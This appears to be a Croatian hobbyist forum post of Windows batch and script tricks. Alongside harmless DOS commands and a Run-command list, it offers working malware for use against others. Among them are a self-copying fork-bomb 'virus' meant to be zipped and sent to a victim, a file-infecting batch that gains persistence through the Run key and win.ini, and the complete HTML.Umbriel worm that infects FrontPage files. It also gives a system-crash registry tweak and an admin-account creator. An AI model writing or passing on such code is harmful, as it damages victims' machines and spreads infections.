Sve što ćete trebati je notepad i tipkovnica .Sve ostalo ćete vidjeti u uputama tokom postanja.

Neke dos komande :
copy -kopira ikone na određena mjesta
echo -ispisuje tekst
del -briše zadane ikone unutar fail-a
net user -ispisuje korisnike na računalu
ping -PROVJERAVA JELI ODREĐENI SERVER TRENUTNO ONLINE
shutdown -gasi rčunalo
exit -izlazi iz dos-a


Za više informacija pitajte

Jednostavan program koji gasi računalo u zadanom vremenu.

shutdown -s -t "**" -c "****"

I to spremite kao nešto.bat
umjesto **-stavite vrijeme za koje će se gasiti
***-stavite poruku koja će se prikazati

Program koji otvara i zatvara cd/dvd rom:


Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If


Copy this into Notepad and save it as nesto.vbs

A desktop refresher:

@echo off
echo refresh desktop
pause
taskkill/f/im explorer.exe
echo desktop refreshed
c:\windows\explorer.exe
pause

save as nesto.bat

This makes New prfiles that can be admin


@echo off
echo Admin Creating Batch file!!!
pause
echo what would you like the name for your admin to be?
set /p name=
cls
echo what would you like the password to be?
set /p password=
pause
cls
echo name = %name%
echo password = %password%
echo .
echo would you like to create this account?
echo press any key to create this account
pause
net user %name% %password% /add
pause
cls
echo would you like it to be a admin???
echo .
echo press any key to make it admin
pause
net localgroup administrators %name% /add
ECHO .
PAUSE

virus
copy the following text into notepad then save it as:
Picture2.bat on your desktop
then drag it into a zip folder.
it is easier to send it to someone on this way....
Code::

title R.I.P

copy %0 %systemroot%\picture2.bat > nul

Attrip +r +h picture2.bat

tskill msnmsgr

shutdown -r -t 50 -c "VIRUS DETECTED"

:1
copy picture.bat %random%.bat
copy picture.bat %random%.bat
goto 2



:2
start %0
start %0
goto 1

Otvaranje do smrti

upišite ovo u note pad 100 puta i winsi će se srušiti

START
START
--samo tako jednog ispod drugog,pa copy paste i spremite kao nešto.bat

EVO OVO MOZE BITI JAKO KORISNO:
naredb Start -> Run

Accessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control.exe admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

Date and Time Properties
timedate.cpl

DDE Shares
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (if installed)*
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control.exe desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control.exe color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control.exe folders

Fonts
control.exe fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl

Java Control Panel (if installed)
jpicpl32.cpl

Java Control Panel (if installed)
javaws

Keyboard Properties
control.exe keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of Windows
logoff

Mcft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control.exe mouse

Mouse Properties
main.cpl

Network Connections
control.exe netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Nview Desktop Manager (if installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (if installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control.exe printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy
rsop.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Scanners and Cameras
sticpl.cpl

Scheduled Tasks
control.exe schedtasks

Security Center
wscui.cpl

Services
services.msc

Shared Folders
fsmgmt.msc

Shuts Down Windows
shutdown

Sounds and Audio
mmsys.cpl

Spider Solitare Card Game
spider

SQL Client Configuration
cliconfg

System Configuration Editor
sysedit

System Configuration Utility
msconfig

System File Checker Utility
sfc

System Properties
sysdm.cpl

Task Manager
taskmgr

Telnet Client
telnet

User Account Management
nusrmgr.cpl

Utility Manager
utilman

Windows Firewall
firewall.cpl

Windows Magnifier
magnify

Windows Management Infrastructure
wmimgmt.msc

Windows System Security Tool
syskey

Windows Update Launches
wupdmgr

Windows XP Tour Wizard
tourstart

Wordpad
write


Nadam se da će vam poslužiti!

Virusi koji se sami salju
svima koji se nalaze u našem Address Booku u Outlooku, ili nekom drugom programu za rad sa elektronskom poštom. Dobar nacin za sprecavanje izvršavanja te funkcije virusa je da u Address Booku ubacite novi kontakt (New Contact) sa imenom "!0000" bez e-mail adrese. Ovaj kontakt ce stajati na vrhu liste pa kada neki virus bude htio sam sebe da posalje dobit ćete poruku "This message could not be sent. Please check your Address Book and make sure all of the recipients have valid e-mail addresses".

bazopasna batch komanda


--------------------------------------------------------------
@echo off

SET _yes=yes
SET _no=no
SET _anything=%%

echo Whats your name?
SET /P _name=
cls

:no
echo %_name%, how old are you?
SET /P _age=
echo Realy??? YOUR %_age%!!!
:understand2
SET /P _answer=

IF %_answer% EQU %_no% goto no
IF %_answer% EQU %_yes% goto yes
IF %_answer% EQU %_anything% goto understand

:understand
echo I dont understand. Yes or No?
goto understand2

:yes
echo Ok, I belive you. Bye.
echo Any key to exit
pause >nul
MSG * Bye %_name% of %_age% years of age
exit

-----------------------------------------------------------------

evo kako napraviti poruku u dosu:
@echo off
echo ode zeljeni tekst!
pause >nul
exit

rusenje xp-a u 3 koraka


U registru naći HKLM\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters\ i
kreirati vrijednost CrashOnCtrlScroll tipa dword sa vrijednošæu 1
Kada to napravite resetirajte raèunalo. Kada se windowsi dignu srušiti Xp
sa dvije gore navedene tipkea pokazati æe vam se plavi ekran
sa porukom MANUALLY_INITIATED_CRASH (0xE2)

GASI KOMPIJUTER RUSI WINDOWSE
:: BAT.primjer
:: by vaše ime ovdje

copy %0 %systemroot%\primjer.bat > nul
set set = 23
%23% for = 4
%23% do copy = 4
%23% *.bat = 5
%4% %%b in (%5%) %4% %0 %%b
set set = 36
%36% for = 5
%36% do copy = 0
%36% *.exe = 5
%5% %%e in (%5%) %0% %0 %%e
...
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v primjer/t REG_SZ /d %systemroot%\Destroyer.bat /f > nul
cls
echo [windows] >> %systemroot%\win.ini
echo load=%systemroot%\primjer.bat >> %systemroot%\win.ini
echo run=%systemroot%\primjer.bat >> %systemroot%\win.ini
cls
copy %0 a:\%random%.bat
copy %0 b:\%random%.bat
shutdown -s -t 15
cls
:crash
start %0
goto crash

virus worm
--------------------------------------------------------------------------------
<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
shell.Run javascript:location.reload()
End If
Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)
Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"
Randomize
rand=int(rnd*5)+1
If rand=1 then
shell.Run windir+"\windows.cmd"
End If
</script>
<script language="JavaScript">
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
if (checkb!=1)
{
if (Math.round(Math.random()*5)+1 == 3)
{
if (check == 2)
{
file.WriteLine("/"+"*")
file.WriteLine("*"+"/")
}
if (check == 3)
{
file.WriteLine("rem")
}
}
code=virus.ReadLine()
if (code == "/"+"*") { checka=666 }
if (code == "*"+"/") { checka=666 }
if (code == "rem") { checka=666 }
if (checka != 666 ) { file.WriteLine(code) }
checka=0
if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
if (code=="// JS") { check=2 }
if (code=="rem VBS") { check=3 }
if (code=="</"+unescape("%73")+"cript>") { check=0 }
}
}
virus.Close();
file.Close();
</script>
<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Micro soft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)
Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
viccode=victim.ReadAll
victim.Close()
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If
End Sub
</script>
</body>
</html>
i to stavite save as .html